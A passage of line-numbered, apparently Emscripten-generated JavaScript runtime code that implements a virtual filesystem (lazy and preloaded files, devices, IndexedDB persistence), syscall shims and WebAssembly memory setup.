  4307.              ret.parentPath = lookup.path;
  4308.              ret.parentObject = lookup.node;
  4309.              ret.name = PATH.basename(path);
  4310.              lookup = FS.lookupPath(path, {
  4311.                  follow: !dontResolveLastLink
  4312.              });
  4313.              ret.exists = true;
  4314.              ret.path = lookup.path;
  4315.              ret.object = lookup.node;
  4316.              ret.name = lookup.node.name;
  4317.              ret.isRoot = lookup.path === "/"
  4318.          } catch (e) {
  4319.              ret.error = e.errno
  4320.          }
  4321.          return ret
  4322.      }),
  4323.      createFolder: (function(parent, name, canRead, canWrite) {
  4324.          var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4325.          var mode = FS.getMode(canRead, canWrite);
  4326.          return FS.mkdir(path, mode)
  4327.      }),
  4328.      createPath: (function(parent, path, canRead, canWrite) {
  4329.          parent = typeof parent === "string" ? parent : FS.getPath(parent);
  4330.          var parts = path.split("/").reverse();
  4331.          while (parts.length) {
  4332.              var part = parts.pop();
  4333.              if (!part) continue;
  4334.              var current = PATH.join2(parent, part);
  4335.              try {
  4336.                  FS.mkdir(current)
  4337.              } catch (e) {}
  4338.              parent = current
  4339.          }
  4340.          return current
  4341.      }),
  4342.      createFile: (function(parent, name, properties, canRead, canWrite) {
  4343.          var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4344.          var mode = FS.getMode(canRead, canWrite);
  4345.          return FS.create(path, mode)
  4346.      }),
  4347.      createDataFile: (function(parent, name, data, canRead, canWrite, canOwn) {
  4348.          var path = name ? PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name) : parent;
  4349.          var mode = FS.getMode(canRead, canWrite);
  4350.          var node = FS.create(path, mode);
  4351.          if (data) {
  4352.              if (typeof data === "string") {
  4353.                  var arr = new Array(data.length);
  4354.                  for (var i = 0, len = data.length; i < len; ++i) arr[i] = data.charCodeAt(i);
  4355.                  data = arr
  4356.              }
  4357.              FS.chmod(node, mode | 146);
  4358.              var stream = FS.open(node, "w");
  4359.              FS.write(stream, data, 0, data.length, 0, canOwn);
  4360.              FS.close(stream);
  4361.              FS.chmod(node, mode)
  4362.          }
  4363.          return node
  4364.      }),
  4365.      createDevice: (function(parent, name, input, output) {
  4366.          var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4367.          var mode = FS.getMode(!!input, !!output);
  4368.          if (!FS.createDevice.major) FS.createDevice.major = 64;
  4369.          var dev = FS.makedev(FS.createDevice.major++, 0);
  4370.          FS.registerDevice(dev, {
  4371.              open: (function(stream) {
  4372.                  stream.seekable = false
  4373.              }),
  4374.              close: (function(stream) {
  4375.                  if (output && output.buffer && output.buffer.length) {
  4376.                      output(10)
  4377.                  }
  4378.              }),
  4379.              read: (function(stream, buffer, offset, length, pos) {
  4380.                  var bytesRead = 0;
  4381.                  for (var i = 0; i < length; i++) {
  4382.                      var result;
  4383.                      try {
  4384.                          result = input()
  4385.                      } catch (e) {
  4386.                          throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4387.                      }
  4388.                      if (result === undefined && bytesRead === 0) {
  4389.                          throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  4390.                      }
  4391.                      if (result === null || result === undefined) break;
  4392.                      bytesRead++;
  4393.                      buffer[offset + i] = result
  4394.                  }
  4395.                  if (bytesRead) {
  4396.                      stream.node.timestamp = Date.now()
  4397.                  }
  4398.                  return bytesRead
  4399.              }),
  4400.              write: (function(stream, buffer, offset, length, pos) {
  4401.                  for (var i = 0; i < length; i++) {
  4402.                      try {
  4403.                          output(buffer[offset + i])
  4404.                      } catch (e) {
  4405.                          throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4406.                      }
  4407.                  }
  4408.                  if (length) {
  4409.                      stream.node.timestamp = Date.now()
  4410.                  }
  4411.                  return i
  4412.              })
  4413.          });
  4414.          return FS.mkdev(path, mode, dev)
  4415.      }),
  4416.      createLink: (function(parent, name, target, canRead, canWrite) {
  4417.          var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4418.          return FS.symlink(target, path)
  4419.      }),
  4420.      forceLoadFile: (function(obj) {
  4421.          if (obj.isDevice || obj.isFolder || obj.link || obj.contents) return true;
  4422.          var success = true;
  4423.          if (typeof XMLHttpRequest !== "undefined") {
  4424.              throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.")
  4425.          } else if (Module["read"]) {
  4426.              try {
  4427.                  obj.contents = intArrayFromString(Module["read"](obj.url), true);
  4428.                  obj.usedBytes = obj.contents.length
  4429.              } catch (e) {
  4430.                  success = false
  4431.              }
  4432.          } else {
  4433.              throw new Error("Cannot load without read() or XMLHttpRequest.")
  4434.          }
  4435.          if (!success) ___setErrNo(ERRNO_CODES.EIO);
  4436.          return success
  4437.      }),
  4438.      createLazyFile: (function(parent, name, url, canRead, canWrite) {
  4439.          function LazyUint8Array() {
  4440.              this.lengthKnown = false;
  4441.              this.chunks = []
  4442.          }
  4443.          LazyUint8Array.prototype.get = function LazyUint8Array_get(idx) {
  4444.              if (idx > this.length - 1 || idx < 0) {
  4445.                  return undefined
  4446.              }
  4447.              var chunkOffset = idx % this.chunkSize;
  4448.              var chunkNum = idx / this.chunkSize | 0;
  4449.              return this.getter(chunkNum)[chunkOffset]
  4450.          };
  4451.          LazyUint8Array.prototype.setDataGetter = function LazyUint8Array_setDataGetter(getter) {
  4452.              this.getter = getter
  4453.          };
  4454.          LazyUint8Array.prototype.cacheLength = function LazyUint8Array_cacheLength() {
  4455.              var xhr = new XMLHttpRequest;
  4456.              xhr.open("HEAD", url, false);
  4457.              xhr.send(null);
  4458.              if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304)) throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
  4459.              var datalength = Number(xhr.getResponseHeader("Content-length"));
  4460.              var header;
  4461.              var hasByteServing = (header = xhr.getResponseHeader("Accept-Ranges")) && header === "bytes";
  4462.              var usesGzip = (header = xhr.getResponseHeader("Content-Encoding")) && header === "gzip";
  4463.              var chunkSize = 1024 * 1024;
  4464.              if (!hasByteServing) chunkSize = datalength;
  4465.              var doXHR = (function(from, to) {
  4466.                  if (from > to) throw new Error("invalid range (" + from + ", " + to + ") or no bytes requested!");
  4467.                  if (to > datalength - 1) throw new Error("only " + datalength + " bytes available! programmer error!");
  4468.                  var xhr = new XMLHttpRequest;
  4469.                  xhr.open("GET", url, false);
  4470.                  if (datalength !== chunkSize) xhr.setRequestHeader("Range", "bytes=" + from + "-" + to);
  4471.                  if (typeof Uint8Array != "undefined") xhr.responseType = "arraybuffer";
  4472.                  if (xhr.overrideMimeType) {
  4473.                      xhr.overrideMimeType("text/plain; charset=x-user-defined")
  4474.                  }
  4475.                  xhr.send(null);
  4476.                  if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304)) throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
  4477.                  if (xhr.response !== undefined) {
  4478.                      return new Uint8Array(xhr.response || [])
  4479.                  } else {
  4480.                      return intArrayFromString(xhr.responseText || "", true)
  4481.                  }
  4482.              });
  4483.              var lazyArray = this;
  4484.              lazyArray.setDataGetter((function(chunkNum) {
  4485.                  var start = chunkNum * chunkSize;
  4486.                  var end = (chunkNum + 1) * chunkSize - 1;
  4487.                  end = Math.min(end, datalength - 1);
  4488.                  if (typeof lazyArray.chunks[chunkNum] === "undefined") {
  4489.                      lazyArray.chunks[chunkNum] = doXHR(start, end)
  4490.                  }
  4491.                  if (typeof lazyArray.chunks[chunkNum] === "undefined") throw new Error("doXHR failed!");
  4492.                  return lazyArray.chunks[chunkNum]
  4493.              }));
  4494.              if (usesGzip || !datalength) {
  4495.                  chunkSize = datalength = 1;
  4496.                  datalength = this.getter(0).length;
  4497.                  chunkSize = datalength;
  4498.                  console.log("LazyFiles on gzip forces download of the whole file when length is accessed")
  4499.              }
  4500.              this._length = datalength;
  4501.              this._chunkSize = chunkSize;
  4502.              this.lengthKnown = true
  4503.          };
  4504.          if (typeof XMLHttpRequest !== "undefined") {
  4505.              if (!ENVIRONMENT_IS_WORKER) throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";
  4506.              var lazyArray = new LazyUint8Array;
  4507.              Object.defineProperties(lazyArray, {
  4508.                  length: {
  4509.                      get: (function() {
  4510.                          if (!this.lengthKnown) {
  4511.                              this.cacheLength()
  4512.                          }
  4513.                          return this._length
  4514.                      })
  4515.                  },
  4516.                  chunkSize: {
  4517.                      get: (function() {
  4518.                          if (!this.lengthKnown) {
  4519.                              this.cacheLength()
  4520.                          }
  4521.                          return this._chunkSize
  4522.                      })
  4523.                  }
  4524.              });
  4525.              var properties = {
  4526.                  isDevice: false,
  4527.                  contents: lazyArray
  4528.              }
  4529.          } else {
  4530.              var properties = {
  4531.                  isDevice: false,
  4532.                  url: url
  4533.              }
  4534.          }
  4535.          var node = FS.createFile(parent, name, properties, canRead, canWrite);
  4536.          if (properties.contents) {
  4537.              node.contents = properties.contents
  4538.          } else if (properties.url) {
  4539.              node.contents = null;
  4540.              node.url = properties.url
  4541.          }
  4542.          Object.defineProperties(node, {
  4543.              usedBytes: {
  4544.                  get: (function() {
  4545.                      return this.contents.length
  4546.                  })
  4547.              }
  4548.          });
  4549.          var stream_ops = {};
  4550.          var keys = Object.keys(node.stream_ops);
  4551.          keys.forEach((function(key) {
  4552.              var fn = node.stream_ops[key];
  4553.              stream_ops[key] = function forceLoadLazyFile() {
  4554.                  if (!FS.forceLoadFile(node)) {
  4555.                      throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4556.                  }
  4557.                  return fn.apply(null, arguments)
  4558.              }
  4559.          }));
  4560.          stream_ops.read = function stream_ops_read(stream, buffer, offset, length, position) {
  4561.              if (!FS.forceLoadFile(node)) {
  4562.                  throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4563.              }
  4564.              var contents = stream.node.contents;
  4565.              if (position >= contents.length) return 0;
  4566.              var size = Math.min(contents.length - position, length);
  4567.              assert(size >= 0);
  4568.              if (contents.slice) {
  4569.                  for (var i = 0; i < size; i++) {
  4570.                      buffer[offset + i] = contents[position + i]
  4571.                  }
  4572.              } else {
  4573.                  for (var i = 0; i < size; i++) {
  4574.                      buffer[offset + i] = contents.get(position + i)
  4575.                  }
  4576.              }
  4577.              return size
  4578.          };
  4579.          node.stream_ops = stream_ops;
  4580.          return node
  4581.      }),
  4582.      createPreloadedFile: (function(parent, name, url, canRead, canWrite, onload, onerror, dontCreateFile, canOwn, preFinish) {
  4583.          Browser.init();
  4584.          var fullname = name ? PATH.resolve(PATH.join2(parent, name)) : parent;
  4585.          var dep = getUniqueRunDependency("cp " + fullname);
  4586.  
  4587.          function processData(byteArray) {
  4588.              function finish(byteArray) {
  4589.                  if (preFinish) preFinish();
  4590.                  if (!dontCreateFile) {
  4591.                      FS.createDataFile(parent, name, byteArray, canRead, canWrite, canOwn)
  4592.                  }
  4593.                  if (onload) onload();
  4594.                  removeRunDependency(dep)
  4595.              }
  4596.              var handled = false;
  4597.              Module["preloadPlugins"].forEach((function(plugin) {
  4598.                  if (handled) return;
  4599.                  if (plugin["canHandle"](fullname)) {
  4600.                      plugin["handle"](byteArray, fullname, finish, (function() {
  4601.                          if (onerror) onerror();
  4602.                          removeRunDependency(dep)
  4603.                      }));
  4604.                      handled = true
  4605.                  }
  4606.              }));
  4607.              if (!handled) finish(byteArray)
  4608.          }
  4609.          addRunDependency(dep);
  4610.          if (typeof url == "string") {
  4611.              Browser.asyncLoad(url, (function(byteArray) {
  4612.                  processData(byteArray)
  4613.              }), onerror)
  4614.          } else {
  4615.              processData(url)
  4616.          }
  4617.      }),
  4618.      indexedDB: (function() {
  4619.          return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB
  4620.      }),
  4621.      DB_NAME: (function() {
  4622.          return "EM_FS_" + window.location.pathname
  4623.      }),
  4624.      DB_VERSION: 20,
  4625.      DB_STORE_NAME: "FILE_DATA",
  4626.      saveFilesToDB: (function(paths, onload, onerror) {
  4627.          onload = onload || (function() {});
  4628.          onerror = onerror || (function() {});
  4629.          var indexedDB = FS.indexedDB();
  4630.          try {
  4631.              var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
  4632.          } catch (e) {
  4633.              return onerror(e)
  4634.          }
  4635.          openRequest.onupgradeneeded = function openRequest_onupgradeneeded() {
  4636.              console.log("creating db");
  4637.              var db = openRequest.result;
  4638.              db.createObjectStore(FS.DB_STORE_NAME)
  4639.          };
  4640.          openRequest.onsuccess = function openRequest_onsuccess() {
  4641.              var db = openRequest.result;
  4642.              var transaction = db.transaction([FS.DB_STORE_NAME], "readwrite");
  4643.              var files = transaction.objectStore(FS.DB_STORE_NAME);
  4644.              var ok = 0,
  4645.                  fail = 0,
  4646.                  total = paths.length;
  4647.  
  4648.              function finish() {
  4649.                  if (fail == 0) onload();
  4650.                  else onerror()
  4651.              }
  4652.              paths.forEach((function(path) {
  4653.                  var putRequest = files.put(FS.analyzePath(path).object.contents, path);
  4654.                  putRequest.onsuccess = function putRequest_onsuccess() {
  4655.                      ok++;
  4656.                      if (ok + fail == total) finish()
  4657.                  };
  4658.                  putRequest.onerror = function putRequest_onerror() {
  4659.                      fail++;
  4660.                      if (ok + fail == total) finish()
  4661.                  }
  4662.              }));
  4663.              transaction.onerror = onerror
  4664.          };
  4665.          openRequest.onerror = onerror
  4666.      }),
  4667.      loadFilesFromDB: (function(paths, onload, onerror) {
  4668.          onload = onload || (function() {});
  4669.          onerror = onerror || (function() {});
  4670.          var indexedDB = FS.indexedDB();
  4671.          try {
  4672.              var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
  4673.          } catch (e) {
  4674.              return onerror(e)
  4675.          }
  4676.          openRequest.onupgradeneeded = onerror;
  4677.          openRequest.onsuccess = function openRequest_onsuccess() {
  4678.              var db = openRequest.result;
  4679.              try {
  4680.                  var transaction = db.transaction([FS.DB_STORE_NAME], "readonly")
  4681.              } catch (e) {
  4682.                  onerror(e);
  4683.                  return
  4684.              }
  4685.              var files = transaction.objectStore(FS.DB_STORE_NAME);
  4686.              var ok = 0,
  4687.                  fail = 0,
  4688.                  total = paths.length;
  4689.  
  4690.              function finish() {
  4691.                  if (fail == 0) onload();
  4692.                  else onerror()
  4693.              }
  4694.              paths.forEach((function(path) {
  4695.                  var getRequest = files.get(path);
  4696.                  getRequest.onsuccess = function getRequest_onsuccess() {
  4697.                      if (FS.analyzePath(path).exists) {
  4698.                          FS.unlink(path)
  4699.                      }
  4700.                      FS.createDataFile(PATH.dirname(path), PATH.basename(path), getRequest.result, true, true, true);
  4701.                      ok++;
  4702.                      if (ok + fail == total) finish()
  4703.                  };
  4704.                  getRequest.onerror = function getRequest_onerror() {
  4705.                      fail++;
  4706.                      if (ok + fail == total) finish()
  4707.                  }
  4708.              }));
  4709.              transaction.onerror = onerror
  4710.          };
  4711.          openRequest.onerror = onerror
  4712.      })
  4713.  };
  4714.  var SYSCALLS = {
  4715.      DEFAULT_POLLMASK: 5,
  4716.      mappings: {},
  4717.      umask: 511,
  4718.      calculateAt: (function(dirfd, path) {
  4719.          if (path[0] !== "/") {
  4720.              var dir;
  4721.              if (dirfd === -100) {
  4722.                  dir = FS.cwd()
  4723.              } else {
  4724.                  var dirstream = FS.getStream(dirfd);
  4725.                  if (!dirstream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4726.                  dir = dirstream.path
  4727.              }
  4728.              path = PATH.join2(dir, path)
  4729.          }
  4730.          return path
  4731.      }),
  4732.      doStat: (function(func, path, buf) {
  4733.          try {
  4734.              var stat = func(path)
  4735.          } catch (e) {
  4736.              if (e && e.node && PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node))) {
  4737.                  return -ERRNO_CODES.ENOTDIR
  4738.              }
  4739.              throw e
  4740.          }
  4741.          HEAP32[buf >> 2] = stat.dev;
  4742.          HEAP32[buf + 4 >> 2] = 0;
  4743.          HEAP32[buf + 8 >> 2] = stat.ino;
  4744.          HEAP32[buf + 12 >> 2] = stat.mode;
  4745.          HEAP32[buf + 16 >> 2] = stat.nlink;
  4746.          HEAP32[buf + 20 >> 2] = stat.uid;
  4747.          HEAP32[buf + 24 >> 2] = stat.gid;
  4748.          HEAP32[buf + 28 >> 2] = stat.rdev;
  4749.          HEAP32[buf + 32 >> 2] = 0;
  4750.          HEAP32[buf + 36 >> 2] = stat.size;
  4751.          HEAP32[buf + 40 >> 2] = 4096;
  4752.          HEAP32[buf + 44 >> 2] = stat.blocks;
  4753.          HEAP32[buf + 48 >> 2] = stat.atime.getTime() / 1e3 | 0;
  4754.          HEAP32[buf + 52 >> 2] = 0;
  4755.          HEAP32[buf + 56 >> 2] = stat.mtime.getTime() / 1e3 | 0;
  4756.          HEAP32[buf + 60 >> 2] = 0;
  4757.          HEAP32[buf + 64 >> 2] = stat.ctime.getTime() / 1e3 | 0;
  4758.          HEAP32[buf + 68 >> 2] = 0;
  4759.          HEAP32[buf + 72 >> 2] = stat.ino;
  4760.          return 0
  4761.      }),
  4762.      doMsync: (function(addr, stream, len, flags) {
  4763.          var buffer = new Uint8Array(HEAPU8.subarray(addr, addr + len));
  4764.          FS.msync(stream, buffer, 0, len, flags)
  4765.      }),
  4766.      doMkdir: (function(path, mode) {
  4767.          path = PATH.normalize(path);
  4768.          if (path[path.length - 1] === "/") path = path.substr(0, path.length - 1);
  4769.          FS.mkdir(path, mode, 0);
  4770.          return 0
  4771.      }),
  4772.      doMknod: (function(path, mode, dev) {
  4773.          switch (mode & 61440) {
  4774.              case 32768:
  4775.              case 8192:
  4776.              case 24576:
  4777.              case 4096:
  4778.              case 49152:
  4779.                  break;
  4780.              default:
  4781.                  return -ERRNO_CODES.EINVAL
  4782.          }
  4783.          FS.mknod(path, mode, dev);
  4784.          return 0
  4785.      }),
  4786.      doReadlink: (function(path, buf, bufsize) {
  4787.          if (bufsize <= 0) return -ERRNO_CODES.EINVAL;
  4788.          var ret = FS.readlink(path);
  4789.          var len = Math.min(bufsize, lengthBytesUTF8(ret));
  4790.          var endChar = HEAP8[buf + len];
  4791.          stringToUTF8(ret, buf, bufsize + 1);
  4792.          HEAP8[buf + len] = endChar;
  4793.          return len
  4794.      }),
  4795.      doAccess: (function(path, amode) {
  4796.          if (amode & ~7) {
  4797.              return -ERRNO_CODES.EINVAL
  4798.          }
  4799.          var node;
  4800.          var lookup = FS.lookupPath(path, {
  4801.              follow: true
  4802.          });
  4803.          node = lookup.node;
  4804.          var perms = "";
  4805.          if (amode & 4) perms += "r";
  4806.          if (amode & 2) perms += "w";
  4807.          if (amode & 1) perms += "x";
  4808.          if (perms && FS.nodePermissions(node, perms)) {
  4809.              return -ERRNO_CODES.EACCES
  4810.          }
  4811.          return 0
  4812.      }),
  4813.      doDup: (function(path, flags, suggestFD) {
  4814.          var suggest = FS.getStream(suggestFD);
  4815.          if (suggest) FS.close(suggest);
  4816.          return FS.open(path, flags, 0, suggestFD, suggestFD).fd
  4817.      }),
  4818.      doReadv: (function(stream, iov, iovcnt, offset) {
  4819.          var ret = 0;
  4820.          for (var i = 0; i < iovcnt; i++) {
  4821.              var ptr = HEAP32[iov + i * 8 >> 2];
  4822.              var len = HEAP32[iov + (i * 8 + 4) >> 2];
  4823.              var curr = FS.read(stream, HEAP8, ptr, len, offset);
  4824.              if (curr < 0) return -1;
  4825.              ret += curr;
  4826.              if (curr < len) break
  4827.          }
  4828.          return ret
  4829.      }),
  4830.      doWritev: (function(stream, iov, iovcnt, offset) {
  4831.          var ret = 0;
  4832.          for (var i = 0; i < iovcnt; i++) {
  4833.              var ptr = HEAP32[iov + i * 8 >> 2];
  4834.              var len = HEAP32[iov + (i * 8 + 4) >> 2];
  4835.              var curr = FS.write(stream, HEAP8, ptr, len, offset);
  4836.              if (curr < 0) return -1;
  4837.              ret += curr
  4838.          }
  4839.          return ret
  4840.      }),
  4841.      varargs: 0,
  4842.      get: (function(varargs) {
  4843.          SYSCALLS.varargs += 4;
  4844.          var ret = HEAP32[SYSCALLS.varargs - 4 >> 2];
  4845.          return ret
  4846.      }),
  4847.      getStr: (function() {
  4848.          var ret = Pointer_stringify(SYSCALLS.get());
  4849.          return ret
  4850.      }),
  4851.      getStreamFromFD: (function() {
  4852.          var stream = FS.getStream(SYSCALLS.get());
  4853.          if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4854.          return stream
  4855.      }),
  4856.      getSocketFromFD: (function() {
  4857.          var socket = SOCKFS.getSocket(SYSCALLS.get());
  4858.          if (!socket) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4859.          return socket
  4860.      }),
  4861.      getSocketAddress: (function(allowNull) {
  4862.          var addrp = SYSCALLS.get(),
  4863.              addrlen = SYSCALLS.get();
  4864.          if (allowNull && addrp === 0) return null;
  4865.          var info = __read_sockaddr(addrp, addrlen);
  4866.          if (info.errno) throw new FS.ErrnoError(info.errno);
  4867.          info.addr = DNS.lookup_addr(info.addr) || info.addr;
  4868.          return info
  4869.      }),
  4870.      get64: (function() {
  4871.          var low = SYSCALLS.get(),
  4872.              high = SYSCALLS.get();
  4873.          if (low >= 0) assert(high === 0);
  4874.          else assert(high === -1);
  4875.          return low
  4876.      }),
  4877.      getZero: (function() {
  4878.          assert(SYSCALLS.get() === 0)
  4879.      })
  4880.  };
  4881.  
  4882.  function ___syscall20(which, varargs) {
  4883.      SYSCALLS.varargs = varargs;
  4884.      try {
  4885.          return PROCINFO.pid
  4886.      } catch (e) {
  4887.          if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4888.          return -e.errno
  4889.      }
  4890.  }
  4891.  var ___tm_current = STATICTOP;
  4892.  STATICTOP += 48;
  4893.  var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC);
  4894.  
  4895.  function _gmtime_r(time, tmPtr) {
  4896.      var date = new Date(HEAP32[time >> 2] * 1e3);
  4897.      HEAP32[tmPtr >> 2] = date.getUTCSeconds();
  4898.      HEAP32[tmPtr + 4 >> 2] = date.getUTCMinutes();
  4899.      HEAP32[tmPtr + 8 >> 2] = date.getUTCHours();
  4900.      HEAP32[tmPtr + 12 >> 2] = date.getUTCDate();
  4901.      HEAP32[tmPtr + 16 >> 2] = date.getUTCMonth();
  4902.      HEAP32[tmPtr + 20 >> 2] = date.getUTCFullYear() - 1900;
  4903.      HEAP32[tmPtr + 24 >> 2] = date.getUTCDay();
  4904.      HEAP32[tmPtr + 36 >> 2] = 0;
  4905.      HEAP32[tmPtr + 32 >> 2] = 0;
  4906.      var start = Date.UTC(date.getUTCFullYear(), 0, 1, 0, 0, 0, 0);
  4907.      var yday = (date.getTime() - start) / (1e3 * 60 * 60 * 24) | 0;
  4908.      HEAP32[tmPtr + 28 >> 2] = yday;
  4909.      HEAP32[tmPtr + 40 >> 2] = ___tm_timezone;
  4910.      return tmPtr
  4911.  }
  4912.  
  4913.  function _gmtime(time) {
  4914.      return _gmtime_r(time, ___tm_current)
  4915.  }
  4916.  
  4917.  function ___lock() {}
  4918.  
  4919.  function ___unlock() {}
  4920.  
  4921.  function ___syscall6(which, varargs) {
  4922.      SYSCALLS.varargs = varargs;
  4923.      try {
  4924.          var stream = SYSCALLS.getStreamFromFD();
  4925.          FS.close(stream);
  4926.          return 0
  4927.      } catch (e) {
  4928.          if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4929.          return -e.errno
  4930.      }
  4931.  }
  4932.  
  4933.  function _emscripten_memcpy_big(dest, src, num) {
  4934.      HEAPU8.set(HEAPU8.subarray(src, src + num), dest);
  4935.      return dest
  4936.  }
  4937.  
  4938.  function _ftime(p) {
  4939.      var millis = Date.now();
  4940.      HEAP32[p >> 2] = millis / 1e3 | 0;
  4941.      HEAP16[p + 4 >> 1] = millis % 1e3;
  4942.      HEAP16[p + 6 >> 1] = 0;
  4943.      HEAP16[p + 8 >> 1] = 0;
  4944.      return 0
  4945.  }
  4946.  
  4947.  function ___syscall140(which, varargs) {
  4948.      SYSCALLS.varargs = varargs;
  4949.      try {
  4950.          var stream = SYSCALLS.getStreamFromFD(),
  4951.              offset_high = SYSCALLS.get(),
  4952.              offset_low = SYSCALLS.get(),
  4953.              result = SYSCALLS.get(),
  4954.              whence = SYSCALLS.get();
  4955.          var offset = offset_low;
  4956.          FS.llseek(stream, offset, whence);
  4957.          HEAP32[result >> 2] = stream.position;
  4958.          if (stream.getdents && offset === 0 && whence === 0) stream.getdents = null;
  4959.          return 0
  4960.      } catch (e) {
  4961.          if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4962.          return -e.errno
  4963.      }
  4964.  }
  4965.  
  4966.  function ___syscall146(which, varargs) {
  4967.      SYSCALLS.varargs = varargs;
  4968.      try {
  4969.          var stream = SYSCALLS.getStreamFromFD(),
  4970.              iov = SYSCALLS.get(),
  4971.              iovcnt = SYSCALLS.get();
  4972.          return SYSCALLS.doWritev(stream, iov, iovcnt)
  4973.      } catch (e) {
  4974.          if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4975.          return -e.errno
  4976.      }
  4977.  }
  4978.  
  4979.  function ___syscall54(which, varargs) {
  4980.      SYSCALLS.varargs = varargs;
  4981.      try {
  4982.          var stream = SYSCALLS.getStreamFromFD(),
  4983.              op = SYSCALLS.get();
  4984.          switch (op) {
  4985.              case 21505:
  4986.                  {
  4987.                      if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4988.                      return 0
  4989.                  };
  4990.              case 21506:
  4991.                  {
  4992.                      if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4993.                      return 0
  4994.                  };
  4995.              case 21519:
  4996.                  {
  4997.                      if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4998.                      var argp = SYSCALLS.get();HEAP32[argp >> 2] = 0;
  4999.                      return 0
  5000.                  };
  5001.              case 21520:
  5002.                  {
  5003.                      if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  5004.                      return -ERRNO_CODES.EINVAL
  5005.                  };
  5006.              case 21531:
  5007.                  {
  5008.                      var argp = SYSCALLS.get();
  5009.                      return FS.ioctl(stream, op, argp)
  5010.                  };
  5011.              case 21523:
  5012.                  {
  5013.                      if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  5014.                      return 0
  5015.                  };
  5016.              default:
  5017.                  abort("bad ioctl syscall " + op)
  5018.          }
  5019.      } catch (e) {
  5020.          if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  5021.          return -e.errno
  5022.      }
  5023.  }
  5024.  FS.staticInit();
  5025.  __ATINIT__.unshift((function() {
  5026.      if (!Module["noFSInit"] && !FS.init.initialized) FS.init()
  5027.  }));
  5028.  __ATMAIN__.push((function() {
  5029.      FS.ignorePermissions = false
  5030.  }));
  5031.  __ATEXIT__.push((function() {
  5032.      FS.quit()
  5033.  }));
  5034.  Module["FS_createFolder"] = FS.createFolder;
  5035.  Module["FS_createPath"] = FS.createPath;
  5036.  Module["FS_createDataFile"] = FS.createDataFile;
  5037.  Module["FS_createPreloadedFile"] = FS.createPreloadedFile;
  5038.  Module["FS_createLazyFile"] = FS.createLazyFile;
  5039.  Module["FS_createLink"] = FS.createLink;
  5040.  Module["FS_createDevice"] = FS.createDevice;
  5041.  Module["FS_unlink"] = FS.unlink;
  5042.  __ATINIT__.unshift((function() {
  5043.      TTY.init()
  5044.  }));
  5045.  __ATEXIT__.push((function() {
  5046.      TTY.shutdown()
  5047.  }));
  5048.  if (ENVIRONMENT_IS_NODE) {
  5049.      var fs = require("fs");
  5050.      var NODEJS_PATH = require("path");
  5051.      NODEFS.staticInit()
  5052.  }
  5053.  DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC);
  5054.  STACK_BASE = STACKTOP = Runtime.alignMemory(STATICTOP);
  5055.  STACK_MAX = STACK_BASE + TOTAL_STACK;
  5056.  DYNAMIC_BASE = Runtime.alignMemory(STACK_MAX);
  5057.  HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE;
  5058.  staticSealed = true;
  5059.  Module["wasmTableSize"] = 14;
  5060.  Module["wasmMaxTableSize"] = 14;
  5061.  
  5062.  function invoke_ii(index, a1) {
  5063.      try {
  5064.          return Module["dynCall_ii"](index, a1)
  5065.      } catch (e) {
  5066.          if (typeof e !== "number" && e !== "longjmp") throw e;
  5067.          Module["setThrew"](1, 0)
  5068.      }
  5069.  }
  5070.  
  5071.  function invoke_iiii(index, a1, a2, a3) {
  5072.      try {
  5073.          return Module["dynCall_iiii"](index, a1, a2, a3)
  5074.      } catch (e) {
  5075.          if (typeof e !== "number" && e !== "longjmp") throw e;
  5076.          Module["setThrew"](1, 0)
  5077.      }
  5078.  }
  5079.  
  5080.  function invoke_viii(index, a1, a2, a3) {
  5081.      try {
  5082.          Module["dynCall_viii"](index, a1, a2, a3)
  5083.      } catch (e) {
  5084.          if (typeof e !== "number" && e !== "longjmp") throw e;
  5085.          Module["setThrew"](1, 0)
  5086.      }
  5087.  }
  5088.  Module.asmGlobalArg = {
  5089.      "Math": Math,
  5090.      "Int8Array": Int8Array,
  5091.      "Int16Array": Int16Array,
  5092.      "Int32Array": Int32Array,
  5093.      "Uint8Array": Uint8Array,
  5094.      "Uint16Array": Uint16Array,
  5095.      "Uint32Array": Uint32Array,
  5096.      "Float32Array": Float32Array,
  5097.      "Float64Array": Float64Array,
  5098.      "NaN": NaN,
  5099.      "Infinity": Infinity
  5100.  };
  5101.  Module.asmLibraryArg = {
  5102.      "abort": abort,
  5103.      "assert": assert,
  5104.      "enlargeMemory": enlargeMemory,
